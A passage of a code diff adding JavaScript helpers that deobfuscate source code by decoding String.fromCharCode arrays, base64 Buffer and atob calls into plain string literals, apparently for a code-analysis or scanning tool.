+      c.property?.type === 'Identifier' && c.property.name === 'fromCharCode') {
+    return true;
+  }
+  return false;
+}
+
+/**
+ * Extract numeric arguments from a call (handles direct numbers and spread of array).
+ * Returns array of numbers, or null if any argument is non-numeric.
+ */
+function extractNumericArgs(node) {
+  const nums = [];
+  for (const arg of node.arguments) {
+    if (arg.type === 'SpreadElement' && arg.argument?.type === 'ArrayExpression') {
+      for (const el of arg.argument.elements) {
+        if (el?.type === 'Literal' && typeof el.value === 'number') {
+          nums.push(el.value);
+        } else {
+          return null; // non-numeric — abort
+        }
+      }
+    } else if (arg.type === 'Literal' && typeof arg.value === 'number') {
+      nums.push(arg.value);
+    } else {
+      return null; // non-numeric argument (variable, expression) — abort
+    }
+  }
+  return nums.length > 0 ? nums : null;
+}
+
+/**
+ * Check if node is Buffer.from('...', 'base64').toString()
+ */
+function isBufferBase64ToString(node) {
+  if (node.type !== 'CallExpression') return false;
+  const callee = node.callee;
+  // .toString() call
+  if (callee.type !== 'MemberExpression') return false;
+  if (callee.property?.type !== 'Identifier' || callee.property.name !== 'toString') return false;
+  // The object is Buffer.from(str, 'base64')
+  const inner = callee.object;
+  if (inner?.type !== 'CallExpression') return false;
+  const innerCallee = inner.callee;
+  if (innerCallee?.type !== 'MemberExpression') return false;
+  if (innerCallee.object?.type !== 'Identifier' || innerCallee.object.name !== 'Buffer') return false;
+  if (innerCallee.property?.type !== 'Identifier' || innerCallee.property.name !== 'from') return false;
+  // Args: (string, 'base64')
+  if (inner.arguments.length < 2) return false;
+  if (inner.arguments[1]?.type !== 'Literal' || inner.arguments[1].value !== 'base64') return false;
+  if (inner.arguments[0]?.type !== 'Literal' || typeof inner.arguments[0].value !== 'string') return false;
+  return true;
+}
+
+/**
+ * Extract the base64 string argument from Buffer.from(str, 'base64').toString()
+ */
+function extractBufferBase64Arg(node) {
+  const inner = node.callee.object;
+  return inner.arguments[0].value;
+}
+
+/**
+ * Check if node is atob('...')
+ */
+function isAtobCall(node) {
+  if (node.type !== 'CallExpression') return false;
+  if (node.callee?.type !== 'Identifier' || node.callee.name !== 'atob') return false;
+  if (node.arguments.length !== 1) return false;
+  if (node.arguments[0]?.type !== 'Literal' || typeof node.arguments[0].value !== 'string') return false;
+  return true;
+}
+
+/**
+ * Try to resolve [0x63, ...].map(c => String.fromCharCode(c)).join('')
+ * Returns a replacement object or null.
+ */
+function tryResolveHexArrayMap(node, source) {
+  // Pattern: <expr>.join('') where <expr> is <array>.map(<fn>)
+  // node is the .join('') call
+  if (node.type !== 'CallExpression') return null;
+  const callee = node.callee;
+  if (callee?.type !== 'MemberExpression') return null;
+  if (callee.property?.type !== 'Identifier' || callee.property.name !== 'join') return null;
+  // Verify .join('') or .join("")
+  if (node.arguments.length !== 1) return null;
+  if (node.arguments[0]?.type !== 'Literal' || node.arguments[0].value !== '') return null;
+
+  // The object of .join should be a .map(...) call
+  const mapCall = callee.object;
+  if (mapCall?.type !== 'CallExpression') return null;
+  if (mapCall.callee?.type !== 'MemberExpression') return null;
+  if (mapCall.callee.property?.type !== 'Identifier' || mapCall.callee.property.name !== 'map') return null;
+
+  // The map callback should reference String.fromCharCode
+  if (mapCall.arguments.length < 1) return null;
+  const mapFn = mapCall.arguments[0];
+  if (!containsFromCharCode(mapFn)) return null;
+
+  // The object of .map should be an ArrayExpression of numbers
+  const arr = mapCall.callee.object;
+  if (arr?.type !== 'ArrayExpression') return null;
+  const nums = [];
+  for (const el of arr.elements) {
+    if (el?.type === 'Literal' && typeof el.value === 'number') {
+      nums.push(el.value);
+    } else {
+      return null; // non-numeric element — abort
+    }
+  }
+  if (nums.length === 0) return null;
+
+  try {
+    const decoded = String.fromCharCode(...nums);
+    const before = source.slice(node.start, node.end);
+    return {
+      start: node.start,
+      end: node.end,
+      value: quoteString(decoded),
+      type: 'hex_array',
+      before
+    };
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Check if an AST node (a function/arrow function) contains a reference to String.fromCharCode.
+ */
+function containsFromCharCode(node) {
+  if (!node || typeof node !== 'object') return false;
+
+  // Direct check on this node
+  if (node.type === 'MemberExpression' &&
+      node.object?.type === 'Identifier' && node.object.name === 'String' &&
+      node.property?.type === 'Identifier' && node.property.name === 'fromCharCode') {
+    return true;
+  }
+
+  // Recurse into child nodes
+  for (const key of Object.keys(node)) {
+    if (key === 'type' || key === 'start' || key === 'end' || key === 'range') continue;
+    const child = node[key];
+    if (Array.isArray(child)) {
+      for (const c of child) {
+        if (c && typeof c === 'object' && containsFromCharCode(c)) return true;
+      }
+    } else if (child && typeof child === 'object' && child.type) {
+      if (containsFromCharCode(child)) return true;
+    }
+  }
+  return false;
+}
+
+/**
+ * Quote a string value as a JS single-quoted string literal.
+ */
+function quoteString(str) {
+  const escaped = str
+    .replace(/\\/g, '\\\\')
+    .replace(/'/g, "\\'")
+    .replace(/\n/g, '\\n')
+    .replace(/\r/g, '\\r')
+    .replace(/\t/g, '\\t');
+  return `'${escaped}'`;
+}
+
+/**
+ * Check if a decoded string is "printable" (no control chars except whitespace).
+ * Prevents replacing base64 that decodes to binary garbage.
+ */
+function isPrintable(str) {
+  // Allow printable ASCII + common unicode + whitespace
+  // Reject if more than 20% of chars are control characters
+  let controlCount = 0;
+  for (let i = 0; i < str.length; i++) {
+    const code = str.charCodeAt(i);
+    if (code < 32 && code !== 9 && code !== 10 && code !== 13) {
+      controlCount++;
+    }
+  }
+  if (str.length === 0) return false;
+  return (controlCount / str.length) < 0.2;
+}
+
+module.exports = { deobfuscate };